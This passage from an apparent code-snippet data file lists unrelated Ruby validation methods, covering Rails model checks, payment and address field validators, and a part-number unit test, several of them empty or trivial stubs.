end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_commodity\n\t end\n\t \n\tif is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:equivalent_count_from => self.equivalent_count_from}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_equivalent_count_from\n\t end\n\t \n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:equivalent_count_to => self.equivalent_count_to}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_equivalent_count_to\n\t end\n\t \n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validar(texto)\n texto=self.quitarFormato(texto)\n return false if texto.size < 2\n texto.split(\"\").each do |c|\n return false if !digitoValido(c)\n end\n invertido=texto.reverse\n dtexto=invertido[0]+\"-\"\n cnt=0\n i=1\n j=2\n for x in 1...texto.size do\n if cnt==3\n dtexto=dtexto+\".\"\n j+=1\n dtexto=dtexto+invertido[x]\n cnt=1\n else\n dtexto=dtexto+invertido[x]\n cnt+=1\n end\n i+=1\n j+=1\n end\n invertido=\"\"\n i=dtexto.size-1\n j=0\n (0..i).to_a.reverse.each do |y|\n invertido=invertido+dtexto[y]\n j+=1\n end\n return digitoCorrecto(texto)\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validate()\n errors.add(:nombre, \"debe ser positivo\") if nombre.nil?\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t #is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t #is_valid = set_spray_program_result\n\t end\nend", "def validar_modelo(valor)\n\t\tuntil valor == \"A\" or valor == \"B\"\n\t\t\tvalor = ingresar_dato(\"modelo\", \" válido. (Elejir entre A o B)\").upcase\n\t\tend\n\t\treturn valor\n\tend", "def is_valid; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n return false if @ach_type.nil?\n return false if @routing_number.nil?\n return false if @routing_number.to_s.length > 9\n return false if @routing_number.to_s.length < 9\n return false if @routing_number !~ Regexp.new(/^[0-9]+$/)\n return false if @account_number.nil?\n return false if @account_number.to_s.length > 56\n return false if @account_number.to_s.length < 1\n return false if @account_number !~ Regexp.new(/^[0-9]+$/)\n return false if @account_type.nil?\n account_type_validator = EnumAttributeValidator.new('String', [\"C\", \"S\"])\n return false unless account_type_validator.valid?(@account_type)\n return false if !@check_number.nil? && @check_number.to_s.length > 10\n return false if !@check_number.nil? && @check_number !~ Regexp.new(/^[0-9]+$/)\n return false if @check_type.nil?\n check_type_validator = EnumAttributeValidator.new('String', [\"P\", \"C\"])\n return false unless check_type_validator.valid?(@check_type)\n return false if !@product_code.nil? && @product_code.to_s.length > 6\n return false if !@product_code.nil? && @product_code !~ Regexp.new(/^[0-9]+$/)\n return false if !@agent_id.nil? && @agent_id.to_s.length > 6\n return false if !@agent_id.nil? && @agent_id !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if !@terminal_id.nil? && @terminal_id.to_s.length > 10\n return false if !@terminal_id.nil? && @terminal_id !~ Regexp.new(/^[0-9]+$/)\n return false if !@registration_id.nil? && @registration_id.to_s.length > 50\n return false if !@registration_id.nil? && @registration_id !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n release_type_validator = EnumAttributeValidator.new('String', [\"C\", \"D\", \"P\", \"T\"])\n return false unless release_type_validator.valid?(@release_type)\n vip_customer_validator = EnumAttributeValidator.new('String', [\"Y\", \"N\"])\n return false unless vip_customer_validator.valid?(@vip_customer)\n return false if @session_id.nil?\n return false if @session_id.to_s.length > 128\n return false if @session_id !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if !@terminal_state.nil? && @terminal_state.to_s.length > 2\n return false if !@terminal_state.nil? && @terminal_state !~ Regexp.new(/^[A-Z]{2}$/)\n return false if !@terminal_city.nil? && @terminal_city.to_s.length > 16\n return false if !@terminal_city.nil? && @terminal_city !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n true\n end", "def valida_descarga_guia\n if params[:especie_id].present?\n begin\n t = Especie.find(params[:especie_id])\n cat = t.categoria_taxonomica\n \n if [3,4,5].include?(cat.nivel1)\n self.resp = { estatus: true }\n else\n return self.resp = { estatus: false, msg: 'El taxón no es una clase, orden o familia' }\n end\n\n rescue => e\n return self.resp = { estatus: false, msg: 'El taxón seleccionado no existe' + e.inspect }\n end \n \n else\n return self.resp = { estatus: false, msg: 'Se debe escoger un taxón' } \n end\n\n if params[:region_id].present? && (params[:tipo_region].present? && %(municipio anp).include?(params[:tipo_region]))\n self.resp = { estatus: true }\n else\n self.resp = { estatus: false, msg: 'La región seleccionada no es un municipio o ANP' }\n end\n end", "def valid?(_) true end", "def valid?(_) true end", "def control_sin_items_comprobantes\n if [detalles].any? {|detalle| detalle.any? }\n self.errors[:base] = \"error que queres hacer?\"\n return false\n end \n end", "def validate \n#\tfirst check whether combo fields have been selected\n is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:port_id => self.port_id}],self,nil,true)\n set_port if is_valid\n end\n\n\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:voyage_port_type_id => self.voyage_port_type_id}],self,nil,true)\n \n\n\t\nend", "def valid_conc?(op, range)\n op.input_array(\"Input Array\").each do |field_value|\n conc = field_value.part.get(\"Stock Conc (ng/ul)\".to_sym)\n return false unless range.cover?(conc)\n end\n true\nend", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:carton_pack_product_code => self.carton_pack_product_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_carton_pack_product\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:pallet_format_product_code => self.pallet_format_product_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_pallet_format_product\n\t end\n\t \n\t if is_valid\n\t self.cpp_code = self.pallet_format_product_code + \"_\" + self.carton_pack_product_code + \"_\" + self.cartons_per_pallet.to_s \n\t end\nend", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n return false if !@prefecture_name.nil? && @prefecture_name !~ Regexp.new(/(北海道|青森県|岩手県|宮城県|秋田県|山形県|福島県|茨城県|栃木県|群馬県|埼玉県|千葉県|東京都|神奈川県|新潟県|富山県|石川県|福井県|山梨県|長野県|岐阜県|静岡県|愛知県|三重県|滋賀県|京都府|大阪府|兵庫県|奈良県|和歌山県|鳥取県|島根県|岡山県|広島県|山口県|徳島県|香川県|愛媛県|高知県|福岡県|佐賀県|長崎県|熊本県|大分県|宮崎県|鹿児島県|沖縄県)/)\n return false if !@prefecture_code.nil? && @prefecture_code > 47\n return false if !@prefecture_code.nil? && @prefecture_code < 1\n close_cause_validator = EnumAttributeValidator.new('String', [\"01\", \"11\", \"21\", \"31\"])\n return false unless close_cause_validator.valid?(@close_cause)\n latest_validator = EnumAttributeValidator.new('Integer', [0, 1])\n return false unless latest_validator.valid?(@latest)\n hihyoji_validator = EnumAttributeValidator.new('Integer', [0, 1])\n return false unless hihyoji_validator.valid?(@hihyoji)\n true\n end", "def valido()\r\n\t\tif num1 != nil\r\n\t\t\tif signo1 != nil\r\n\t\t\t\tif signo2 != nil\r\n\t\t\t\t\treturn @num1.valor.to_s().to_i() >= @num2.valor.to_s().to_i()\r\n\t\t\t\telse\r\n\t\t\t\t\treturn true\r\n\t\t\t\tend\r\n\t\t\telsif signo2 != nil\r\n\t\t\t\treturn false\r\n\t\t\telse\r\n\t\t\t\treturn @num1.valor.to_s().to_i() <= @num2.valor.to_s().to_i()\r\n\t\t\tend\r\n\t\tend\r\n\tend", "def validaDestaque\n\t\tif !verN(destaque.to_s)\n\t\t\terrors.add(\" \",\"O destaque deve ser um número de 1 até 10!\")\n\t\t\treturn\n\t\tend\t\n\t\t\n\t\tif verN(destaque.to_s)\n\t\t\ttmp = destaque\n\t\t\tif tmp < 1 or tmp > 10\n\t\t\t\terrors.add(\" \",\"O destaque deve ser um número de 1 até 10!\")\n\t\t\t\treturn\n\t\t\tend\t\n\t\tend\t\n\tend", "def valid?(component)\n true\n end", "def validate \nputs \"in IPC validate\"\n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\n ModelHelper::Validations.validate_combos([{:size_ref => self.size_ref}],self,true)\n self.size_ref = \"NOS\" if !self.size_ref\n\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:product_class_code => self.product_class_code}],self)\n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_product_class\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:grade_code => self.grade_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_grade\n\t end\n\t \n\tif is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:treatment_code => self.treatment_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_treatment\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_group_code => self.commodity_group_code},{:commodity_code => self.commodity_code},{:marketing_variety_code => self.marketing_variety_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_marketing_variety\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:cosmetic_code => self.cosmetic_code_name}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_cosmetic_code\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code},{:basic_pack_code => self.basic_pack_code},{:standard_size_count_value => self.standard_size_count_value}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_standard_size_count\n\t end\n\t \n\t if !self.size_ref\n\t self.size_ref = \"NOS\"\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\n\nend", "def atributos\n valid = false\n if self.interreps_vencidos.any?\n valid = true\n\n elsif presente_reunioes == true\n valid = true\n end\n\n # elsif Time.now.year - ano_de_fundacao <= 1 \n # valid = true\n # end\n\n valid\n end", "def validar_opciones_parciales(parametros,id_factura_despachos)\n \n variable='-1'\n logger.debug \"entre aqui en validar opciones individual\" << parametros.inspect << \" con factura de despacho = \" << id_factura_despachos.inspect\n @factura_orden_despacho_detalle_resultados=FacturaOrdenDespacho.find(:all,:conditions=>\"id in #{id_factura_despachos}\")\n\n otra_var=\"\"\n @factura_orden_despacho_detalle_resultados.each do |factura_orden_despacho_detalle_resultado|\n\n\n if parametros[:\"monto_cantidad_faltante_#{factura_orden_despacho_detalle_resultado.id}\"].to_f == 0 && parametros[:\"monto_cantidad_facturada_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0\n variable = factura_orden_despacho_detalle_resultado.id.to_s << \";#{I18n.t('Sistema.Body.Modelos.OrdenDespachoDetalle.Mensajes.mensajes_cantidad_factura_no_cero',:item_nombre=>factura_orden_despacho_detalle_resultado.item_nombre)}\"\n break\n end\n\n if parametros[:\"monto_cantidad_facturada_#{factura_orden_despacho_detalle_resultado.id}\"].to_f == 0 && parametros[:\"monto_cantidad_faltante_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0\n variable = factura_orden_despacho_detalle_resultado.id.to_s << \";#{I18n.t('Sistema.Body.Modelos.OrdenDespachoDetalle.Mensajes.mensajes_monto_factura_no_cero',:item_nombre=>factura_orden_despacho_detalle_resultado.item_nombre)}\"\n break\n end\n\n if parametros[:\"monto_cantidad_facturada_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0 && parametros[:\"monto_cantidad_faltante_#{factura_orden_despacho_detalle_resultado.id}\"].to_f != 0\n otra_var=\"1\"\n end\n \n end \n if variable==\"-1\" && otra_var==\"\"\n variable = \"Algo\" << \";#{I18n.t('Sistema.Body.Modelos.OrdenDespachoDetalle.Mensajes.mensaje_final')}\"\n end\n return variable\nend", "def codigo\n if self.cod == nil or self.cod == \"\" \n errors.add(:cod, \"no puede estar en blanco\")\n \telsif self.cod.to_i < 0 \n \t\terrors.add(:cod, \"el cod no puede ser negativo\")\n end\n @cod = self.cod.split('').first.eql?('0')\n if @cod == false\n errors.add(:cod, \"el cod debe empezar por 0\")\n end\n end", "def validate\n ModelHelper::Validations.validate_combos([{:grade_code => self.grade_code}],self,true) \n \n end", "def validate \n # first check whether combo fields have been selected\n#\t is_valid = true\n#\t if is_valid\n#\t is_valid = ModelHelper::Validations.validate_combos([{:stock_type_code => self.stock_type_code}],self)\n#\t end\n#\t if is_valid\n#\t is_valid = set_stock_type\n#\t end\n#\n#\t if is_valid\n#\t is_valid = ModelHelper::Validations.validate_combos([{:location_code => self.location_code}],self)\n#\t end\n#\t if is_valid\n#\t is_valid = set_location\n#\t end\n#\n#\t #if is_valid\n#\t # is_valid = ModelHelper::Validations.validate_combos([{:party_name => self.party_name}],self)\n#\t #end\n#\t #if is_valid\n#\t # is_valid = set_party\n#\t #end\n#\n#\t if is_valid\n#\t is_valid = set_parties_role\n#\t end\n#\n#\t #if is_valid\n#\t # is_valid = set_current_location\n#\t #end\n#\n# if is_valid\n# is_valid = set_status\n# end\n\t \n end", "def valida_titulo\n errors.add_to_base 'avisotitulo' if tituloes.blank? and titulofr.blank? \nend", "def valida_monto\n if com_compra.adeudos[emp_cuentab.moneda][:deuda] >= monto\n unless emp_cuentab.saldo_actual > monto\n errors.add(:monto, 'Saldo insuficiente')\n end\n else\n errors.add(:monto, \"Monto mayor a la deuda en #{emp_cuentab.moneda}\")\n end\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_commodity\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def validate\n # first check whether combo fields have been selected\n is_valid = true\n end", "def check_controllo_offerte(file_controlo)\n sheet = apri_file(file_controlo)\n tabella_controlli = [sheet.column(2),sheet.column(3)]\n tabella_controlli[0].each_with_index do |x,y|\n if x == \"FLUSSO\"\n unless tabella_controlli[1][0] == $data\n @errore << \"Nel file #{file_controlo.basename} c'è una data diversa da quella selezionata\"\n end\n else\n unless tabella_controlli[1][y] == \"OK\"\n @errore << \"Nel file #{file_controlo.basename} il \\\"#{tabella_controlli[0][y]}\\\" non è OK\"\n end\n end\n end\n end", "def test_valida_cartao_de_credito()\n a = valida_cartao_de_credito(0.00, \"1111111111111111\", \"111\", \"Aremildo Valdinelson da Silva\", 012014, 1)\n b = valida_cartao_de_credito(\"0000.00\", \"2222222222222221\", \"221\", \"Lineide Francislleyne Coelho\", \"012014\", \"2\")\n c = valida_cartao_de_credito(\"0150.00\", \"4444444444444442\", \"442\", \"Queliquí Josylleyde Pereira\", \"012014\", \"2\")\n d = valida_cartao_de_credito(\"0000.00\", \"1111111111111111\", \"111\", \"Bryanne Ethelvina Lima\", \"012014\", \"1\")\n e = valida_cartao_de_credito(\"0\", \"666\", \"666\", \"TESTE PRA DAR ERRADO\", \"666\", \"6\")\n puts a\n puts b\n puts c\n puts d\n puts e\n end", "def literal_validation; end", "def literal_validation; end", "def validate\n#\tfirst check whether combo fields have been selected\n is_valid = true\n end", "def validate\n#\tfirst check whether combo fields have been selected\n is_valid = true\n end", "def validate \n#\tfirst check whether combo fields have been selected\n if(self.rmt_product_type_code.to_s.upcase == \"PRESORT\")\n self.treatment_type_code = \"PRESORT\"\n elsif self.rmt_product_type_code == \"orchard_run\"\n self.product_class_code = \"OR\"\n self.treatment_type_code = \"PRE_HARVEST\"\n else\n self.treatment_type_code = \"PACKHOUSE\"\n end\n\n #self.size_code = \"UNS\" if !self.size_code\n if !self.size_code\n self.size_code = \"UNS\" \n\t self.size_id = Size.find_by_size_code(self.size_code).id\t\t \n end\n \n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:ripe_point_code => self.ripe_point_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_ripe_point\n\t end\n\t \n\t\n\tif is_valid && self.rmt_product_type_code != \"orchard_run\" && self.rmt_product_type_code.to_s.upcase != \"PRESORT\"\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:size_code => self.size_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid && self.rmt_product_type_code != \"orchard_run\" && self.rmt_product_type_code.to_s.upcase != \"PRESORT\"\n\t\t is_valid = set_size\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:product_class_code => self.product_class_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_product_class\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_group_code => self.commodity_group_code},{:commodity_code => self.commodity_code},{:variety_code => self.variety_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_variety\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:treatment_code => self.treatment_code}],self) \n\tend\n\t\n\tif is_valid && self.rmt_product_type_code != \"orchard_run\" && self.rmt_product_type_code.to_s.upcase != \"PRESORT\"\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:bin_type => self.bin_type}],self) \n\tend\n\t\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_treatment\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def verificaciones_valid\n return false unless self.verificaciones?\n self.verificaciones.collect { |i|\n i if i['cancelado'] == 'NO'\n }.compact\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_group_code => self.commodity_group_code},{:commodity_code => self.commodity_code},{:rmt_variety_code => self.rmt_variety_code},{:marketing_variety_code => self.marketing_variety_code}],self)\n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code},{:rmt_variety_code => self.rmt_variety_code},{:marketing_variety_code => self.marketing_variety_code}],self)\n#\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_variety\n\t end\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code}],self)\n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_commodity\n\t end\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:season_code => self.season_code},{:commodity_code => self.commodity_code}],self)\n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_season\n\t end\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:track_indicator_type_code => self.track_indicator_type_code}],self)\n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_track_indicator_type\n\t end\nend", "def valid?\n return false if @address1.nil?\n return false if @address1.to_s.length > 100\n return false if @address1.to_s.length < 1\n return false if !@address2.nil? && @address2.to_s.length > 100\n return false if @amount.nil?\n return false if @amount > 10000000\n return false if @amount < 1\n return false if !@business_description.nil? && @business_description.to_s.length > 500\n business_type_validator = EnumAttributeValidator.new('String', [\"corporate\", \"individual\"])\n return false unless business_type_validator.valid?(@business_type)\n return false if !@corporate_number.nil? && @corporate_number !~ Regexp.new(/^\\\\d{13}$/)\n return false if @email.nil?\n return false if @end_date.nil?\n return false if @prefecture.nil?\n prefecture_validator = EnumAttributeValidator.new('String', [\"北海道\", \"青森県\", \"岩手県\", \"宮城県\", \"秋田県\", \"山形県\", \"福島県\", \"茨城県\", \"栃木県\", \"群馬県\", \"埼玉県\", \"千葉県\", \"東京都\", \"神奈川県\", \"新潟県\", \"富山県\", \"石川県\", \"福井県\", \"山梨県\", \"長野県\", \"岐阜県\", \"静岡県\", \"愛知県\", \"三重県\", \"滋賀県\", \"京都府\", \"大阪府\", \"兵庫県\", \"奈良県\", \"和歌山県\", \"鳥取県\", \"島根県\", \"岡山県\", \"広島県\", \"山口県\", \"徳島県\", \"香川県\", \"愛媛県\", \"高知県\", \"福岡県\", \"佐賀県\", \"長崎県\", \"熊本県\", \"大分県\", \"宮崎県\", \"鹿児島県\", \"沖縄県\"])\n return false unless prefecture_validator.valid?(@prefecture)\n return false if !@remark.nil? && @remark.to_s.length > 500\n return false if !@representative_name.nil? && @representative_name.to_s.length > 30\n return false if @tel.nil?\n return false if @tel !~ Regexp.new(/^0((\\\\d{1,2}-?\\\\d{1,4}|\\\\d{3,4}-?\\\\d{1,2})-?\\\\d{4}|120-?\\\\d{3}-?\\\\d{3})$/)\n return false if !@url.nil? && @url.to_s.length > 500\n return false if @zip_code.nil?\n return false if @zip_code !~ Regexp.new(/^\\\\d{3}-?\\\\d{4}$/)\n return true\n end", "def posicao_valida?(mapa, posicao)\n\n linhas = mapa.size\n colunas = mapa[0].size\n estourou_linhas = posicao[0] < 0 || posicao[0] >= linhas\n estorou_colunas = posicao[1] < 0 || posicao[1] >= colunas\n\n if estourou_linhas || estorou_colunas\n return false\n end\n valor_atual = mapa[posicao[0]][posicao[1]]\n if valor_atual == \"X\" || valor_atual == \"F\"\n return false\n end\n true\nend", "def only_one_open_caja\n\t\terrors.add(:base, 'Ya hay una caja abierta') if Collect.is_any_open_caja\n\tend", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def acro_not_same_as_code\n if acro.present? && code.present?\n errors.add( :acro, I18n.t( 'phase_codes.msg.acro_eq_code' )) \\\n unless acro != code\n end\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t \n\t if is_valid\n\t is_valid = set_drench_concentrate_status\n\t end\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:drench_line_type_code => self.drench_line_type_code}],self) \n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n#\t if is_valid\n#\t\t is_valid = set_drench_station\n#\t end\n#\t if is_valid\n#\t\t is_valid = ModelHelper::Validations.validate_combos([{:concentrate_code => self.concentrate_code}],self) \n#\tend\n#\t#now check whether fk combos combine to form valid foreign keys\n#\t if is_valid\n#\t\t is_valid = set_concentrate_product\n#\t end\nend", "def test_validation\n \n # Valid? - Yes\n pn = PartNumber.initial_part_number\n pcb_pn = '600-123-a0'.split('-')\n pcba_pn = '500-120-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n pn.pcb_revision = 'a'\n pn.pcba_prefix = pcba_pn[0]\n pn.pcba_number = pcba_pn[1]\n pn.pcba_dash_number = pcba_pn[2]\n pn.pcba_revision = 'a'\n \n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcba_number?)\n assert( pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert( pn.valid_pcba_part_number?)\n assert( pn.valid_components?('new'=='new'))\n assert(!pn.error_message)\n \n # Valid? - No - PCB, PCBA part numbers are not unique.\n pcba_pn = '600-123-00'.split('-')\n pn.pcba_prefix = pcba_pn[0]\n pn.pcba_number = pcba_pn[1]\n pn.pcba_dash_number = pcba_pn[2]\n pn.pcba_revision = 'b'\n \n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcba_number?)\n assert( pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert( pn.valid_pcba_part_number?)\n assert(!pn.valid_components?('new'=='new'))\n assert( pn.error_message)\n assert_equal('The PCB part number (600-123-a0 a) and the PCBA part number ' +\n \"(600-123-00 b) must be unique - YOUR PART NUMBER WAS NOT CREATED\",\n pn.error_message)\n \n\n # Valid? - No - Format bad, short prefix\n pcb_pn = '12-123-a0'.split('-')\n pcba_pn = '34-120-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcba_prefix = pcba_pn[0]\n assert( pn.valid_pcb_number?)\n assert(!pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcba_number?)\n assert(!pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_pcba_part_number?)\n assert(!pn.valid_components?('new'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n\n # Valid? - No - Format bad, illegal characters in the prefix\n pcb_pn = '12e-123-a0'.split('-')\n pcba_pn = 'pcb-120-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcba_prefix = pcba_pn[0]\n assert( pn.valid_pcb_number?)\n assert(!pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcba_number?)\n assert(!pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_pcba_part_number?)\n assert(!pn.valid_components?('new'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n # Valid? - No - Format bad, wrong number of characters in the number\n pcb_pn = '127-3-a0'.split('-')\n pcba_pn = '128-21-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcba_prefix = pcba_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcba_number = pcba_pn[1]\n assert(!pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcba_number?)\n assert( pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_pcba_part_number?)\n 